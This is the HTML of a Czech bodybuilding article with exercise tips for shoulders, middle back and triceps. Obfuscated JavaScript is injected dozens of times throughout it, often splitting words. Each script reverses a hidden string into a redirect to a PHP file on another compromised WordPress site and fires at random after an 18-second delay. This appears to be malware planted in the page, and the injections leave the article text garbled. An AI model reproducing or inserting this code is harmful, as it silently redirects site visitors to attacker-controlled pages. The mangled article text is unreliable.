$Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou\u010de jednoru\u010dek sm\u011b\u0159uj\u00ed m\u00edrn\u011b dol\u016f, jako kdybyste nal\u00e9vali vodu z&nbsp;konve. T\u00edm<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to drobn\u00fdm pohybem si zajist\u00edte lep\u0161\u00ed aktivaci zadn\u00ed a st\u0159edn\u00ed hlavy del<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e9ho svalu. Ale pozor \u2013 nesm\u00ed doj\u00edt k&nbsp;rotaci ramene dovnit\u0159, t\u00edm byste efektivitu cvi\u010den\u00ed zredukovali.<\/p>\n\n\n\n<p><strong>Na co se zam\u011b\u0159it: <\/strong>ramena b\u00fdvaj\u00ed \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to probl\u00e9movou svalovou parti\u00ed, pokud se v\u00e1m neda\u0159\u00ed budovat hmotu pomoc\u00ed tlakov\u00fdch cvik\u016f a m\u00e1te probl\u00e9my s&nbsp;proc\u00edt\u011bn\u00edm del<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00fdch sval\u016f, pak v\u00e1m pr\u00e1v\u011b del\u0161\u00ed doba str\u00e1ven\u00e1 v&nbsp;konstantn\u00ed svalov\u00e9 tenzi m\u016f\u017ee hodn\u011b pomoci. V&nbsp;upa\u017eov\u00e1n\u00ed d\u011bl\u00e1 hodn\u011b spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f chyby, sna\u017ete se o korektn\u00ed proveden\u00ed cvik\u016f a nebojte se nav\u00fd\u0161it intenzitu.<\/p>\n\n\n\n<p><strong>Tip pro v\u00e1s:<\/strong> sna\u017ete se v&nbsp;t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to pozici setrvat minutu, zpo\u010d\u00e1tku ale asi budete r\u00e1di, kdy\u017e <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to vydr\u017e\u00edte 30 sekund. Posta\u010d\u00ed proveden\u00ed ve dvou s\u00e9ri\u00edch. Cvi\u010den\u00ed zkuste za\u0159azovat na za\u010d\u00e1tku nebo na konci tr\u00e9ninku horn\u00ed poloviny t\u011bla.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>ST\u0158EDN\u00cd PARTIE ZAD<\/strong><\/h2>\n\n\n\n<p><strong>P\u0158\u00cdTAHY S&nbsp;VELKOU \u010cINKOU V&nbsp;P\u0158EDKLONU<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"472\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svauy-mysl1-1024x472.jpg\" alt=\"\" class=\"wp-image-718\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svauy-mysl1-1024x472.jpg 1024w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svauy-mysl1-300x138.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svauy-mysl1-768x354.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svauy-mysl1.jpg 1136w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Nyn\u00ed budete muset nechat svoje ego stranou, a\u010dkoliv jindy ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cvik prov\u00e1d\u00edte s&nbsp;pom\u011brn\u011b velkou z\u00e1t\u011b\u017e\u00ed, ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tokr\u00e1t si nalo\u017ete m\u00e9n\u011b. K&nbsp;n\u00e1cviku propojen\u00ed mezi svalem a mysl\u00ed pot\u0159ebujete, abyste si byli jist\u00ed, \u017ee z\u00e1t\u011b\u017e bez probl\u00e9m\u016f zvl\u00e1d\u00e1te. Pak se budete moci soust\u0159edit na jin\u00e9 aspekty cvi\u010den\u00ed. Ve v\u00fdchoz\u00ed poloze dr\u017ete \u010dinku u kolen a pak ji pomal\u00fdm pohybem p\u0159itahujte k&nbsp;pasu. V&nbsp;horn\u00ed f\u00e1zi v\u017edy na chv\u00edli setrvejte (po\u010d\u00edtejte do dvou), pot\u00e9 se vra\u0165te zp\u011bt. Kdybyste m\u011bli probl\u00e9my s&nbsp;\u00fachopem, klidn\u011b pou\u017eijte trha\u010dky.<\/p>\n\n\n\n<p><strong>Na co se zam\u011b\u0159it:<\/strong> p\u0159i p\u0159\u00edtahov\u00fdch cvic\u00edch pracuje hodn\u011b spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f s&nbsp;hybnou silou, kter\u00e1 jim umo\u017en\u00ed zvl\u00e1dnout vy\u0161\u0161\u00ed z\u00e1t\u011b\u017e. I pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to je nyn\u00ed nezbytn\u00e9 pracovat s&nbsp;men\u0161\u00ed v\u00e1hou, priori<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou je aktivace sval\u016f, nikoliv velikost z\u00e1t\u011b\u017ee. Pokud m\u00e1te pot\u00ed\u017ee s&nbsp;bedern\u00ed p\u00e1te\u0159\u00ed, zkuste variantu s&nbsp;oporou hrudn\u00edku o lavi\u010dku.<\/p>\n\n\n\n<p><strong>Tip pro v\u00e1s:<\/strong> odcvi\u010dte 2-3 s\u00e9rie o 12-20 opakov\u00e1n\u00edch, vy\u0161\u0161\u00ed po\u010det opakov\u00e1n\u00ed je volen z\u00e1m\u011brn\u011b, pokud se v\u00e1m <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e poda\u0159\u00ed svaly kvalitn\u011b napumpovat, a nav\u00edc dos\u00e1hnout siln\u00e9 kontrakce v&nbsp;horn\u00ed f\u00e1zi pohybu, m\u00e1te \u00fasp\u011bch na dosah.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>TRICEPSY<\/strong><\/h2>\n\n\n\n<p><strong>STAHOV\u00c1N\u00cd KLADKY S&nbsp;T\u0158\u00cdSEKUNDOVOU NEGATIVN\u00cd F\u00c1Z\u00cd<\/strong><\/p>\n\n\n\n<p>Ani ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cvik asi nen\u00ed t\u0159eba dlouze p\u0159edstavovat. Ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tokr\u00e1t si ov\u0161em ohl\u00eddejte, abyste m\u011bli lokty m\u00edrn\u011b p\u0159ed t\u011blem, pom\u016f\u017ee lehk\u00fd p\u0159edklon a boky tla\u010den\u00e9 dozadu. V&nbsp;t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to poloze <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") 